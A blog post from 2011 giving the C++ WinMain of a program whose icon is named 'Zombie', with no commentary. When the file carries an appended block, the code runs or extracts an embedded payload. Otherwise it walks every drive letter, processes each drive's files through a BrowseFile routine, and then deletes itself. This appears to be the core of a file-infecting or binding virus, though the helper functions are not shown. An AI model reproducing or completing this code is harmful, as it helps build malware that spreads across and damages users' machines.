zhiyinjixu

  博客园  :: 首页  ::  :: 联系 ::  :: 管理

#include "stdafx.h"
#include "resource.h"
#include "SelfExt.h"

//WINAPI_WinMain() 
//************************************************************************ 
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
 LoadIcon(hInstance,MAKEINTRESOURCE(ICO_ZOMBIE));

 CSelfExt EXT;
 //获取自己和系统路径
 TCHAR myPath[MAX_PATH];
 GetModuleFileName(0,myPath,MAX_PATH);
 
 //己合体-_-
 if( EXT.IsBind(myPath) )
 {
  INFO info;
  KEY key;  
  FILE *fpread; 
  DWORD nFilesize,offset;
  
  //读取KEY
  if( (fpread=fopen(myPath,"rb")) == NULL )   return 0;
  nFilesize = EXT.GetFileSizeByName(myPath);
  offset = nFilesize - sizeof(key);
  fseek(fpread,offset,SEEK_SET);
  fread(&key,sizeof(key),1,fpread);
  
  //读INFO
  offset = key.nzbSize ;  //offset=母体大小
  fseek(fpread,offset,SEEK_SET);
  fread(&info,sizeof(info),1,fpread);
  fclose(fpread);  //TMD怎么老忘记擦屁股
  
  //若为EXE
  if( 0 == info.iFlag )
  {
   EXT.DoRun(myPath,info,key);  //在当前目录运行
  }
  else
  {
   EXT.DoExt(myPath,info,key);  //解压
  }
 }
 else //Zombie母体
 {
  //遍历驱动器  
  CString device;                    
  DWORD dw = GetLogicalDrives(); //从GetLogicalDrives函数中取出有几个驱动器
  DWORD dwMask=1;
  for(int i=0;i<26;i++)
  {
   if( (dw & dwMask) != 0 )
   {
    device='A'+i;
    device += ":";         //连接成A:的形式
    EXT.BrowseFile(0,device);
   }
   dwMask=dwMask*2;
  }
 //Debug
 // EXT.BrowseFile(0,"F:");
  EXT.SelfDel();
 }

    return 0;
}

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

posted on 2011-12-27 21:17  zhiyinjixu  阅读(1054)  评论(0)    收藏  举报